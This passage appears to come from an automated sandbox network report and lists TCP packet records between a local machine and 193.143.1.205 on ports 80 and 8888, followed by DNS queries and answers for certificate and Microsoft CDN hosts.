Jan 11, 2025 05:18:37.977901936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977932930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.977963924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977977037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.977988005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978001118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978014946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978025913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.978045940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.978115082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978127956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978140116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978152990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978166103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978177071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.978179932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978199005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978202105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.978214979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.978239059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.979370117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.979382992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:37.979409933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:37.979624987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017230988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017254114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017268896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017282963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017297983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017360926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017380953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017394066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017394066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017406940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017421961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017431974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017431974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017458916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017510891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017524958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017540932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017553091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017554045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017569065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017580986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017582893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017596960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017611980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017625093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017628908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017641068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.017653942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.017668962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018023968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018037081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018050909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018064022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018069029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018079042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018085957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018096924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018111944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018121958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018157005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018167973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018188000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018202066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018213987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018227100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018230915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018241882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018255949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018264055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018304110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018388987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018402100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018429995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018711090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018723965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018737078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018749952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018762112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018767118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018776894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018786907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018790960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018815994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018832922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018861055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018877029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018888950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018902063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018913984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018915892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018939972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.018974066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.018994093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019007921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019011021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.019022942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019037008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019046068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.019052029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019072056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.019505978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019519091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019531965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.019552946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.019573927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.028636932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.062913895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.062930107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.062942028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.062961102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.062973022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.062983990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.062989950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.062997103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063009024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063020945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063031912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063033104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063046932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063055038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063059092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063071012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063071966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063085079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063097000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063097954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063114882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063121080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063154936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063332081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063344955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063354969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063365936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063375950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063378096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063390970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063393116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063405037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063440084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063474894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063487053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063498974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063513041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063530922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063612938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063627005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063640118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063664913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063695908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063708067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063718081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063730001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063730955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063741922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.063755035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063779116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.063806057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064083099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064094067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064105034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064116001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064121008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064129114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064140081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064147949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064161062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064167976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064202070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064213037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064218044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064224958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064237118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064244986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064248085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064264059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064268112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064281940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064306021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064384937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064397097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064408064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064424038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.064426899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.064448118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.089929104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.093641043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103374004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103391886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103403091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103415966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103427887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103441000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103442907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103475094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103497982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103503942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103511095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103523970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103530884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103538990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103553057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103564978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103589058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103679895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103692055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103725910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103754044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103846073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103857040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103871107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103880882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103887081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103907108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.103965044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103976011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103987932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.103998899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104001045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104012012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104023933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104038000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104074955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104087114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104119062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104322910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104335070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104352951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104367018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104368925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104379892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104391098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104408979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104417086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104429007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104430914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104440928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104453087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104458094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104465961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104480982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104494095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104500055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104509115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104521990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104546070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.104609966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104970932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104981899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.104994059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105005026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105005980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105019093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105030060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105030060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105041981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105046988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105074883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105104923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105115891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105125904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105139017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105140924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105176926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105431080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105443001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105454922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105465889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105470896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105482101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105493069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.105494022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.105532885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.151449919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151477098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151489973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151500940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151513100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151525021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151540041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151540995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.151573896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.151984930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.151997089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.152009964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.152024984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.152045012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.153345108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.165611982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.324625015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.785049915 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.790040970 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:38.790107012 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.790309906 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:38.795125008 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:39.585866928 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:18:39.634150982 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:18:40.483350039 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:18:46.679655075 CET	57080	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:18:46.679655075 CET	192.168.2.6	1.1.1.1	0xcbcd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:18:46.688188076 CET	1.1.1.1	192.168.2.6	0xcbcd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:18:47.469094038 CET	1.1.1.1	192.168.2.6	0x1196	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:18:47.469094038 CET	1.1.1.1	192.168.2.6	0x1196	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:49.998629093 CET	1.1.1.1	192.168.2.6	0x4666	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:49.998629093 CET	1.1.1.1	192.168.2.6	0x4666	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:20:03.690129042 CET	1.1.1.1	192.168.2.6	0x78c7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
